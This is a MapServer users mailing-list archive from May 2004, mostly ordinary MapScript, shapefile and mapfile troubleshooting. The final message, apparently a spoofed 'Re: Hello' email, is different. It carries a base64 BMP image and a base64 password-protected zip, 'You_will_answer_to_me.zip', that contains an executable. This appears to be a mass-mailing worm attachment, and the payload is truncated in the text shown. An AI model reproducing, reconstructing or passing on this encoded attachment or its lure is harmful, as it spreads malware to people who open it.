too high to make sense > mapserver.log showed occasional: > Tue May 4 14:33:30 2004 - msFreeImage(): General error message. Unknown > image type > > But the short script and map file below, run from the command line > produces ~ 900: > perl in free(): warning: page is already free > perl in free(): warning: junk pointer, too high to make sense > perl in free(): warning: chunk is already free > > Simple work around is to stop using $imageObj->free() which fixes the > problem. > [snip] Eric, There should be no need to free images. I've made changes to mapscript so that Perl's garbage collector sweeps up all instances of imageObj and calls the DESTROY method (known as ~imageObj() in mapscript.i). In fact, you shouldn't have to explicitly free any objects anymore. Sorry that I haven't made this clear in the development docs. If you don't want to wait for garbage collection, undef the instance rather than calling its free() method. cheers, Sean From aattri at cba.ua.edu Tue May 4 14:51:15 2004 From: aattri at cba.ua.edu (Attri, Abhishek) Date: Tue, 4 May 2004 16:51:15 -0500 Subject: [Mapserver-users] How to import mysql data in mapscript Message-ID: Thanks a lot Eric! Abhishek -----Original Message----- From: Eric Bridger [mailto:eric at gomoos.org] Sent: Tuesday, May 04, 2004 2:19 PM To: Attri, Abhishek Cc: Mapserver List Subject: Re: [Mapserver-users] How to import mysql data in mapscript This is certainly possible using mapscript. But you must ensure that there is at least one key value in common between your shapes and your database. queryByPoint, or queryByRect, etc will return to you the contents of you shape files DBF file. If one of those is a key value, such as country code, you can then use it to query your MySQL database. Conversely you can loop thru all you shapes and check each one for a matching country code (key value) and then set attributes on the shape, such as hightlight, etc. On Tue, 2004-05-04 at 13:36, Attri, Abhishek wrote: > Hi all, > > > > Please let me know if it's possible at all. I am trying to import data > (which is not shape data, but just simple data like population of all > counties of a state) from a MySQL database, and query the shapefiles for > "Counties" based on the fields in the MySQL database. The shapefiles > and the results from the MySQL query have nothing in common. They are > two totally different data sources. How can I integrate them? > > > > Has anyone done something like this? If yes, then how will you set the > values of 'data', 'classitem' and 'setexpression' in the layer and > class objects? > > If that's not possible, what else can be done to achieve the above > purpose? > > > > I have tried a lot of combinations to import data, and query the result > set, but was not successful to create the layer based on MySQL data. > Please help! > > > > With thanks, > > > > Abhishek > > > > > > > > > From ganesh at cs.und.edu Tue May 4 15:05:29 2004 From: ganesh at cs.und.edu (Ganesh Pulicherla) Date: Tue, 4 May 2004 17:05:29 -0500 Subject: [Mapserver-users] Get attribute values from Shapefile Message-ID: <1083708329.409813a99f8e7@webmail.aero.und.edu> Hello everyone We are using PHP/Mapscript on Linux. I have a quick question: How can i get the attribute values of a Shape file using PHP/Mapscript ? For eg., In the Counties shapefile, i want to retrieve all the county names under the C_NAME column in the shapefile. Any help is greatly appreciated. Thanks in advance Ganesh From eric at gomoos.org Tue May 4 19:39:46 2004 From: eric at gomoos.org (Eric Bridger) Date: Tue, 04 May 2004 22:39:46 -0400 Subject: [Mapserver-users] Re: [Mapserver-dev] Perl Mapscript 4 $image->free() bug In-Reply-To: <000901c43225$55a34a40$0100000a@cybermedia.local> References: <1083698295.1521.102.camel@ubet.gomoos.org> <1083698295.1521.102.camel@ubet.gomoos.org> Message-ID: <4.3.2.7.2.20040504223711.00aace40@mail.gomoos.org> At 11:15 PM 05/04/2004 +0100, Sean Gillies wrote: >Eric, > >There should be no need to free images. I've made changes to mapscript >so that Perl's garbage collector sweeps up all instances of imageObj >and calls the DESTROY method (known as ~imageObj() in mapscript.i). >In fact, you shouldn't have to explicitly free any objects anymore. >Sorry that I haven't made this clear in the development docs. > >If you don't want to wait for garbage collection, undef the instance >rather than calling its free() method. Excellent Sean. Thanks. From eric at gomoos.org Tue May 4 20:23:51 2004 From: eric at gomoos.org (Eric Bridger) Date: Tue, 04 May 2004 23:23:51 -0400 Subject: [Mapserver-users] Get attribute values from Shapefile In-Reply-To: <1083708329.409813a99f8e7@webmail.aero.und.edu> Message-ID: <4.3.2.7.2.20040504231702.00abbdb0@mail.gomoos.org> At 05:05 PM 05/04/2004 -0500, Ganesh Pulicherla wrote: > >We are using PHP/Mapscript on Linux. I have a quick question: How can i get the >attribute values of a Shape file using PHP/Mapscript ? For eg., In the Counties >shapefile, i want to retrieve all the county names under the C_NAME column in >the shapefile. Shape files have 2 parts. *.shp holds the geometry and the attributes are ih a standard dbf file with the same name. Shape # 1 corresponds with the DBF record # 1, etc. So all you really need is a PHP module to read DBF files, such as dbase. Sorry I don't know the exact PHP module name, something like dbase.so. In Perl I use something called XBase.pm. From publiek at home.nl Wed May 5 00:05:02 2004 From: publiek at home.nl (Marcel Koopman) Date: Wed, 5 May 2004 9:05:02 +0200 Subject: [Mapserver-users] Making layers in php mapscript Message-ID: <200405050705.i4575GFS011835@lists.gis.umn.edu> Hello, I cant get php mapscript to create (and show) a layer. But i want to make layers in php mapscript, instead of retrieving the ones defined in the mapfile. Here's one layer i have defined in a mapfile: /**********************************************************************\ LAYER GROUP "std" CONNECTIONTYPE postgis NAME nstudenten CONNECTION "user=postgres dbname=testdb" DATA "the_geom from gem_gron_poly" STATUS off TYPE POLYGON TEMPLATE "templates/nstudenten.html" HEADER "templates/nstudenten_header.html" FOOTER "templates/nstudenten_footer.html" DUMP TRUE PROJECTION "init=epsg:28992" END CLASS NAME "Aantal studenten 0 - 100" EXPRESSION ([N_STUDENTEN_ROC] >0 AND [N_STUDENTEN_ROC] <= 100) COLOR 217 217 255 END CLASS NAME "Aantal studenten 100 - 500" EXPRESSION ([N_STUDENTEN_ROC] >100 AND [N_STUDENTEN_ROC] <= 500) COLOR 177 177 255 END CLASS NAME "Aantal studenten 500 - 1000" EXPRESSION ([N_STUDENTEN_ROC] >500 AND [N_STUDENTEN_ROC] <= 1000) COLOR 136 136 255 END CLASS NAME "Aantal studenten > 1000" EXPRESSION ([N_STUDENTEN_ROC] >1000) COLOR 75 75 255 END END /**********************************************************************\ So, this is my php code (groningen-php.map has no layers, i define a new one here in php-mapscript): ----------------------------------------------------------------------------- $map_path="/var/www/groningen/"; $map = ms_newMapObj($map_path."groningen-php.map"); $layer = ms_newLayerObj($map); $layer->set(name, $naam); $layer->set(connectiontype, "postgis"); $layer->set(connection, "user=postgres dbname=testdb"); $layer->set(data, "the geom from gem_gron_poly"); $layer->set(type, MS_POLYGON); $layer->set(status, MS_ON); $class = ms_newClassObj($layer); $class->set(name, "nstudenten"); $class->setexpression("[N_STUDENTEN_ROC] >0 AND [N_STUDENTEN_ROC] <= 100"); $style = ms_newStyleObj($class); $style->color->setRGB(10,100,10); $layer_img = $map->prepareimage(); $i = $layer->draw($layer_img); echo $i; $layer_url = $layer_img->saveWebImage(); echo ""; ----------------------------------------------------------------------------- I cant get a normal image from mapserver. What am i missing? Thanks for your help. From samuzzal at linux.net Wed May 5 00:06:41 2004 From: samuzzal at linux.net (Sam Choudry) Date: Wed, 5 May 2004 00:06:41 -0700 (PDT) Subject: [Mapserver-users] Coloring problem solved Message-ID: <20040505070641.D2D46394D@sitemail.everyone.net> Thank you Thieme for your kind help in solving my problem. The layer color can be changed now with user input R,G,B values. Thanx again. Samuzzal _____________________________________________________________ Linux.Net -->Open Source to everyone Powered by Linare Corporation http://www.linare.com/ From norbert.thieme at ilmenau.baw.de Wed May 5 00:17:26 2004 From: norbert.thieme at ilmenau.baw.de (Norbert Thieme) Date: Wed, 05 May 2004 09:17:26 +0200 Subject: [Mapserver-users] Get attribute values from Shapefile In-Reply-To: <1083708329.409813a99f8e7@webmail.aero.und.edu> References: <1083708329.409813a99f8e7@webmail.aero.und.edu> Message-ID: <40989506.5020906@ilmenau.baw.de> Ganesh Pulicherla schrieb: > Hello everyone > > We are using PHP/Mapscript on Linux. I have a quick question: How can i get the > attribute values of a Shape file using PHP/Mapscript ? For eg., In the Counties > shapefile, i want to retrieve all the county names under the C_NAME column in > the shapefile. > Any help is greatly appreciated. > > Thanks in advance > Ganesh > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > This is simple. There is a way in php to use php's dbase functions. I could tell you that but there is a better way by using the mapscript functions itself. The advantage of this is that it gives you the values of all(?) queryable data. To get the field names use this: $layer->open(); $items = $layer->getitems(); $layer->close(); To get the values from one query result use this: $layer->open(); $data_shp = $layer->getshape($tile_index, $shape_index); $layer->close(); $data = $data_shp->values; So you have two arrays - one with the field names and one with the values. Loop through the first to get the index of the field you search and take this index to the second array to get the value you want. Regards, Norbert From mweinelt at planiglobe.com Wed May 5 01:43:40 2004 From: mweinelt at planiglobe.com (Martin Weinelt) Date: Wed, 5 May 2004 10:43:40 +0200 Subject: [Mapserver-users] TILEINDEX question In-Reply-To: <4097C67D.7000901@rkiq.com> References: <4097C67D.7000901@rkiq.com> Message-ID: <200405051043.40280.mweinelt@planiglobe.com> On Tuesday 04 May 2004 18:36, Jerl Simpson wrote: > I keep seeing this term TILEINDEX and I have yet to find what it > actually is, or what it provides. > > I am hoping it helps index the maps, so that when I look at a small > section of my entire map, it indexes this and speeds up the maps. And > doesn't look at the entire US to draw a small area of say, Long Island. > > Can someone point me to a more detailed explanation of this feature? > > Thanks, Yes, but not quite. The 'TILEINDEX' keyword tells mapserv that a an index-shapefile exists that references a proviously tiled dataset. And to use that index-shapefile during mapconstruction to achieve faster mapping like you described. You must tile your dataset and create the index-shapefile beforehand. For tiling look in the wiki VectorHOWTO and check the utility programs 'tile4ms' and 'shp2tile'. Martin From antonio.cosenza at polito.it Wed May 5 02:03:49 2004 From: antonio.cosenza at polito.it (toni) Date: Wed, 05 May 2004 11:03:49 +0200 Subject: [Mapserver-users] mysql problem Message-ID: <4098ADF5.9050504@polito.it> hi, guys, i have always the same problem with mysql data sets. this is my problem, with mapserver and mygis. I attached 2 urls to better explain you the problem: www.consulter.to.it/mapserver/italy.png www.consulter.to.it/mapserver/italy_mysql.png -italy.png is the map rendered by mapserver using the shapefile. -italy_mysql.png is the map rendered connecting to mygis. I used shp2mysql.pl (with the code hacked too!) to import the shape into mysql 3.23.49 (i'm using debian woody). Why maps are different? Where is the problem? is it a perl script bug or the shapefile i used is not well edited?! Thanks Toni From e9625730 at student.tuwien.ac.at Wed May 5 02:13:34 2004 From: e9625730 at student.tuwien.ac.at (Elisabeth Nolz) Date: Wed, 5 May 2004 11:13:34 +0200 Subject: [Mapserver-users] center map on x,y coordinates Message-ID: hi paco. i've tried scale=15000000 or scale=5000, but there's still this error: " getNumeric(): Incorrect data type. " perhaps you have an idea what's causing this problem. On Tuesday 04 May 2004 16:04, Paco Regodon wrote: The scale parameter is not clear, as it is related with RESOLUTION. If your units are meters, you can calculate your escale using this formula: scale = ((EXTENT * 100) * RESOLUTION / 2.54 ) / image_width_in_pixels. RESOLUTION defaults to 72 dpi (dots per inch) but you can change it in the mapfile if you need to. Just try a big scale (scale=15000000). Have you tried using MAPXY/BUFFER instead of MAPXY/SCALE? Paco On Tuesday 04 May 2004 11:24, Elisabeth Nolz wrote: hi list. in my application i have a drop-down menu with lots of addresses (addresses and appropriate x,y coordinates stored in a mysql-database). the user can choose one address and then click on the submit-button to show the map centered on the chosen address. the problem is, that i don't know how i could center my map on x,y coordinates. i found the following entry in the mapserver-user-history: "If you have x,y coordinates for the centers of your parcels in your mysql database, you can just run your search, grab the results, and redirect to a url like: http://myserver.com/cgi-bin/mapserver?map=parcel.map&mapxy=x_from_mysql+y_from_mysql&scale=150000" i tried this link with my coordinates but it doesn't work this way. could someone help me please? thx, elisabeth. From alhim at intracom.gr Wed May 5 02:53:35 2004 From: alhim at intracom.gr (Alexandros Chimarios) Date: Wed, 5 May 2004 12:53:35 +0300 Subject: [Mapserver-users] center map on x,y coordinates In-Reply-To: References: Message-ID: <200405051253.35053.alhim@intracom.gr> Hi Elisabeth, maybe it's because of the URL( which I told you to try yesterday ;-)) ), try this mapxy param without the double quotes "", like that : http://myserver.com/cgi-bin/mapserver?map=parcel.map&mapxy=x_from_mysql y_from_mysql&scale=150000 On Wednesday 05 May 2004 12:13, Elisabeth Nolz wrote: > hi paco. > i've tried scale=15000000 or scale=5000, but there's still this error: " > getNumeric(): Incorrect data type. " > perhaps you have an idea what's causing this problem. > > > On Tuesday 04 May 2004 16:04, Paco Regodon wrote: > The scale parameter is not clear, as it is related with RESOLUTION. > > If your units are meters, you can calculate your escale using this formula: > > scale = ((EXTENT * 100) * RESOLUTION / 2.54 ) / image_width_in_pixels. > > RESOLUTION defaults to 72 dpi (dots per inch) but you can change it in the > mapfile if you need to. > Just try a big scale (scale=15000000). > > Have you tried using MAPXY/BUFFER instead of MAPXY/SCALE? > > Paco > > > On Tuesday 04 May 2004 11:24, Elisabeth Nolz wrote: > hi list. > in my application i have a drop-down menu with lots of addresses (addresses > and appropriate x,y coordinates stored in a mysql-database). the user can > choose one address and then click on the submit-button to show the map > centered on the chosen address. > the problem is, that i don't know how i could center my map on x,y > coordinates. > > i found the following entry in the mapserver-user-history: > "If you have x,y coordinates for the centers of your parcels in your mysql > database, you can just run your search, grab the results, and redirect to a > url like: > http://myserver.com/cgi-bin/mapserver?map=parcel.map&mapxy=x_from_mysql+y_f >rom_mysql&scale=150000" > > i tried this link with my coordinates but it doesn't work this way. could > someone help me please? > > thx, > elisabeth. > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From samuzzal at linux.net Wed May 5 02:58:08 2004 From: samuzzal at linux.net (Sam Choudry) Date: Wed, 5 May 2004 02:58:08 -0700 (PDT) Subject: [Mapserver-users] QueryMap problem Message-ID: <20040505095808.69C17AD00@sitemail.everyone.net> Hi, I successfully implemented the QueryByPoint() a few days back. Now, I am using the following QueryMap object in my map file to change the colour of the queried point. ... QUERYMAP STYLE HILITE COLOR 255 0 0 END ... LAYER NAME "pt-barama" DATA "pt-barama" TOLERANCEUNITS pixels TOLERANCE 5 STATUS ON TYPE POINT CLASS TEMPLATE "ttt-query.html" SIZE 6 COLOR 82 160 238 OUTLINECOLOR 82 160 238 SYMBOL 7 END # end of class object END ... And the symbol used is Symbol Name 'circle' Type ELLIPSE Filled TRUE Points 1 1 END END But the colour of the symbol is not changing. Can you give me any suggestion regarding this. Bye. Samuzzal _____________________________________________________________ Linux.Net -->Open Source to everyone Powered by Linare Corporation http://www.linare.com/ From e9625730 at student.tuwien.ac.at Wed May 5 03:25:04 2004 From: e9625730 at student.tuwien.ac.at (Elisabeth Nolz) Date: Wed, 5 May 2004 12:25:04 +0200 Subject: [Mapserver-users] center map on x,y coordinates Message-ID: hi alexandro. the problem were not the double quotes but the comma in my coordinates, so i tried points instead of commas: http://localhost/cgi-bin/mapserv?map=map.map&mapxy=339989.20%201646.20&scale=5000 now i get this new error (???): mapserv(): Web application error. No template provided. On Wednesday 05 May 2004 12:53, Alexandros Chimarios wrote: Hi Elisabeth, maybe it's because of the URL( which I told you to try yesterday ;-)) ), try this mapxy param without the double quotes "", like that : http://myserver.com/cgi-bin/mapserver?map=parcel.map&mapxy=x_from_mysql y_from_mysql&scale=150000 On Wednesday 05 May 2004 12:13, Elisabeth Nolz wrote: hi paco. i've tried scale=15000000 or scale=5000, but there's still this error: " getNumeric(): Incorrect data type. " perhaps you have an idea what's causing this problem. On Tuesday 04 May 2004 16:04, Paco Regodon wrote: The scale parameter is not clear, as it is related with RESOLUTION. If your units are meters, you can calculate your escale using this formula: scale = ((EXTENT * 100) * RESOLUTION / 2.54 ) / image_width_in_pixels. RESOLUTION defaults to 72 dpi (dots per inch) but you can change it in the mapfile if you need to. Just try a big scale (scale=15000000). Have you tried using MAPXY/BUFFER instead of MAPXY/SCALE? Paco On Tuesday 04 May 2004 11:24, Elisabeth Nolz wrote: hi list. in my application i have a drop-down menu with lots of addresses (addresses and appropriate x,y coordinates stored in a mysql-database). the user can choose one address and then click on the submit-button to show the map centered on the chosen address. the problem is, that i don't know how i could center my map on x,y coordinates. i found the following entry in the mapserver-user-history: "If you have x,y coordinates for the centers of your parcels in your mysql database, you can just run your search, grab the results, and redirect to a url like: http://myserver.com/cgi-bin/mapserver?map=parcel.map&mapxy=x_from_mysql+y_from_mysql&scale=150000" i tried this link with my coordinates but it doesn't work this way. could someone help me please? thx, elisabeth. From norbert.thieme at ilmenau.baw.de Wed May 5 03:59:59 2004 From: norbert.thieme at ilmenau.baw.de (Norbert Thieme) Date: Wed, 05 May 2004 12:59:59 +0200 Subject: [Mapserver-users] What the extent hits? Message-ID: <4098C92F.50505@ilmenau.baw.de> Hello, I'm trying to find out if there is a simple way to find out what layers and Shapes are in the current extent. The question may be silly because I can do query by rectancle with the current extent but the functionality is already in mapscript and get used when querying by attributes. I'm going to use a context sensitiv legend. I only want to see the Layers which are in the current extent and also only the displayed classes of each layer. I can write that my own but if I could get from the mapobj it would sure be better for the performance. Ideas are appreciated. Thanks in advance, Norbert From antonio.cosenza at polito.it Wed May 5 06:07:07 2004 From: antonio.cosenza at polito.it (toni) Date: Wed, 05 May 2004 15:07:07 +0200 Subject: [Mapserver-users] mysql problem In-Reply-To: <1083761286.1892.4.camel@ubet.gomoos.org> References: <4098ADF5.9050504@polito.it> <1083761286.1892.4.camel@ubet.gomoos.org> Message-ID: <4098E6FB.1060405@polito.it> thanks Eric, yes, indeed, it seems to be a script bug, I agree with you. toni Eric Bridger wrote: >Looks to me like the problem lies with the shp2mysql.pl script. I'm not >familiar with that script but it looks like some Italian >provinces/states (?) include islands which your script is attempting to >attach to the polygon. You need a way to distinguish islands from the >mainland provinces. > >On Wed, 2004-05-05 at 05:03, toni wrote: > > >>hi, guys, i have always the same problem with mysql data sets. >> >>this is my problem, with mapserver and mygis. >> >>I attached 2 urls to better explain you the problem: >> >>www.consulter.to.it/mapserver/italy.png >>www.consulter.to.it/mapserver/italy_mysql.png >> >> >>-italy.png is the map rendered by mapserver using the shapefile. >>-italy_mysql.png is the map rendered connecting to mygis. I used >>shp2mysql.pl (with the code hacked too!) to import the shape into mysql >>3.23.49 (i'm using debian woody). >> >>Why maps are different? >>Where is the problem? is it a perl script bug or the shapefile i used is >>not well edited?! >> >>Thanks >> >>Toni >>_______________________________________________ >>Mapserver-users mailing list >>Mapserver-users at lists.gis.umn.edu >>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >> >> >> > > > > > From steve.lime at dnr.state.mn.us Wed May 5 07:15:31 2004 From: steve.lime at dnr.state.mn.us (Steve.lime) Date: Wed, 05 May 2004 08:15:31 -0600 Subject: [Mapserver-users] Re: Hello Message-ID: ----------qwddimkqfsgfatjlkrre Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
----------qwddimkqfsgfatjlkrre Content-Type: image/bmp; name="awtxlnqebm.bmp" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="awtxlnqebm.bmp" Content-ID: Qk2CDgAAAAAAADYAAAAoAAAAegAAAA8AAAABABAAAAAAAEwOAAAAAAAAAAAAAAAAAAAAAAAA /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//fwluQGXef/9//3//f/9//396ewluQGU2d0BlQGXef91/ 0XZAZUBl0Xbdf91/0XZAZUBl0Xbdf/9//39AZY9y/3//f0BlTXL/f/9//3//fxR3QGVAZY9y vH//f/9/CW5AZd5//3//f91/TXIJbt1/QGVAZd5//39AZUBl/3//f/9//3//f/9/3X+PckBl CW5Xe/9//3//f/9/CW5AZd5//3//f/9//38JbkBl3n//f/9//3/zdkBlTXJ6e/9//3//f/9/ CW5AZd5//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3/RdkBl vH//f/9//3//f/9/QGVAZf9/3X8JbkBl/38Ud0BlvH/df0BlTXIUd0BlvH/df0BlTXL/f7x/ QGVAZXp7/39AZUBlenv/f/9/FHdAZXh7/38Ud0Bl3X//f9F2QGW8f/9//3+PckBlens2d0Bl QGW8f/9/QGVAZf9//3//f/9//3//f9F2QGXdfzZ3QGVXe/9//3//f9F2QGW8f/9//3//f/9/ 0XZAZbx//3//fxR3QGW8f1d7QGW8f/9//3//f9F2QGW8f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9/V3tAZVd7/3//f/9//3//f49yQGVXe91/FHdAZZt7 /3//f95/V3tAZUBl/3//f95/V3tAZUBl/396e0Bl0XZNcv9/QGXRdk1y/3//f0BlQGX/f/9/ 3X9AZfN2/39Xe0BlV3v/f/9/QGVAZf9//38Ud0BlV3v/f/9//3//f/9//3//f/9//3//f/9/ /3+be0BlCW7/f/9//382d0BlV3v/f/9//3//fzZ3QGVXe/9//38JbkBl/3/ef0Bl83YJbkBl QGVAZUBlQGWPcv9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f5t7 QGXzdv9//3//f/9//3//fzZ30XbRdgluQGUUd/9/ensJbkBlQGV6e/9/ensJbkBlQGV6e/9/ V3tAZbx/QGVXe0BlvH9AZZt7/39AZUBl/3//f/9/QGVAZf9/m3tAZfN2/3//f0BlQGX/f/9/ entAZfN2/3//f/9//3//f/9//3//f/9//3//f/9//39AZQlu/3//f/9/entAZRR3/3//f/9/ /396e0BlFHf/f/9/QGVAZf9//39AZUBl83ZAZbx/entAZfN2/3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3/df0BlQGVAZUBlQGWPcpt7/3//f/9//3//f0Bl CW7/f0BlQGU2d91//3//f0BlQGU2d91//3//f/N2QGX/f01yCW5AZf9/0XbRdv9/j3JAZbx/ /3//f0BlQGX/f95/QGUJbv9//3/zdkBl3X//f5t7QGVNcv9//3//f/9//3//f/9//3//f/9/ /3//f1d7QGV6e/9//3//f7x/QGWPcv9//3//f/9/vH9AZY9y/3//f0BlQGWbe/9/QGVAZd5/ CW5Nct1/QGWPcv9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /39AZUBl/3//f91/j3JAZZt7FHdAZd1/3X9AZQlu/39NckBl/3+8fwlu83ZNckBl/3+8fwlu 83bRdkBl/396e0BlQGX/f7x/QGW8f7x/QGXzdv9/entAZRR3/3//fwluQGVAZRR3vH9AZfN2 /3/zdkBlQGX/f/9/QGVAZf9//3//f/9//3//f/9/j3JAZY9y3X//f/9//3//f0BlQGX/f/9/ /3//f/9/QGVAZf9//39NckBl0Xa8f0Bl83b/f5t7QGV4e0BlQGX/f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/0XZAZbx//3//f91/QGVNct5/83ZAZUBl TXKbe/9/3X/zdkBlQGWPct1/3X/zdkBlQGWPct1/QGVAZf9//39NckBl/3//f9F20Xb/f5t7 j3JAZUBlFHf/f/9//3/RdkBlFHdNcv9/ensJbk1yeHuPckBlvH//f0BlQGX/f/9//3//f/9/ /3//f/9/eHtAZdF2/3//f7x//39NckBl3X//f/9/vH//f01yQGXdf/9/FHdAZfN2CW7Rdt5/ /3//fzZ3CW5NckBlvH//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//fxR3QGV4e/9//3//f0BlQGX/f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9/FHdAZXh7/3//f/9//3//f/9//3//f/9//3//f/9/QGVAZf9//39AZUBlCW5AZZt7 /3//f0BlQGUJbkBlm3v/f5t7QGVXe/9//3//f/9//3//f49yQGVAZXp7/3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//394e0BlNnf/f/9/m3tAZU1y/3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f3h7QGU2d/9//3//f/9//3//f/9/ /3//fxR3QGXdf0Blj3L/f/9/3X82dwluQGVXe/9//3/dfzZ3CW5AZVd7/3//f9F2TXLef0Bl TXL/f/9//3/dfwluQGVXe/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9/vH9AZUBlQGVAZUBlj3Ldf/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3+8f0Bl0Xb/f/9//3//f/9//3//f/9//3/df49yQGVNct1//3//f/9//3//f/N2 0Xb/f/9//3//f/9/83bRdv9//3//f/N2QGUJbnp7/3//f/9//396e0Bl0Xb/f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ ----------qwddimkqfsgfatjlkrre Content-Type: application/octet-stream; name="You_will_answer_to_me.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="You_will_answer_to_me.zip" UEsDBAoAAQAIACA/pTCmmG0JjFMAAFFQAAAJAAAAa2Zwa2kuZXhlD+90uV9X9kQ3NPOe6HN1 3556Ter6Hz4pcmU18//JOsvqY7mKiVPbLStKyMAUfpBPbzA4cvhQbLa8xhc7mXgFpQidOiP3 +uV8jzG7+fuYOixIQtSRXfX7y/NoxP4LMEVSRoUBCDCIgbJYjNMqSgLiZm76YFDkjuvpHFBl BFl24G+DHxFj3NfjY2fN7bMD4MEYzbajcu71yU7L1HyPD5/yCBimX+W7BiBak9c7diNGRYzL r2a3PXAQfF68Bx1bXxQmdpNq5D42g+Hgl/AXZnwoi3IwMrPVQx9wc9TbcXUpn9pdltL8zYsT KvBiyBJmey9goopuGEstgkKmnSHo+D5+IJjTTX+AO1OUopRGJwjFEhP9hGrHL1mIG3ulR5WN dUNz6Entst70yb70t/zRn2ppX0mvaJRSKZSivo5ji/wpmGanT30iP7J9Kj9+87wzSiKgaHDg Zh4d3VXAWkKd6gdCjO8ROASWvHISYJP64aPJ+2MdFtQRjcOJtG00/2u/+bnLU4+6I6t5cJ4f 2IJQT+NTXnSieR5ciB0AKD5ZBVsPSZVqmid/Nxdnq01KVD0rT6emxRd8x93lF/PPn6chOFgz i43dm/qUqmgTIwfuBzGvIytC3xbbxCnXIiMN8qSMpN56xn18qnGIj66aIMJ8PrKILWY39r1u +TMhFMqOsderi5zvZv/0bGTIPya3bv76dYuf2DRiN+CfT1af6doSd6VCUidiq7cU7r9n5iNs Rm8J0ctPIE6B6AYnOetpDP+urUFUVdVXLc6IDI4l06y7Yqxq7cM7c6QBvZSaWbfdvlzb9kiN x2OVtBnHkomCv7WzkiZN3nGKo+dA2Q5PkX0EXrPSJmK5QYlqkGxahf5dVeKviZQ2jQ1iHnlr NeiS4FUpJq16fcOIRo+B4pGTJJS1ej9kV4rt4EU6Rfgjbm+qQ4Lo/I7vppyHsscET048ptr0 YDrIoUKaXTouPRuzqkkw+YqX6p0NJ4iZF0owkUVMTwQoefYYV16UT59B7atIVqhaS6TQ6Ivf MNL8UJtc4agB4condoyNhXpEp+0RkSyjr0iG7OxhHN5H8C7Uq0VE53xa1QgJVFS3rSlDVt6D bOk4YQfL+b2C4gMrHM1hPQH7ly2lpTu7JFylsLzMPTIGjeTHW6CqC2KpNMI/FDnGSnXXpbwu oiVGFymavD3GCp1nJQBjUdPfB+7MLYVzJ9DeiPvkMsmZJZT2a2hPTs/2pgBjviirXIsZA80N qzykUrpm3tpM71AW+5kRQ+2CWW5Vl5OH8K5M4AuZPxSSbNdXxUVHBiKRcgDLer737AVAIy43 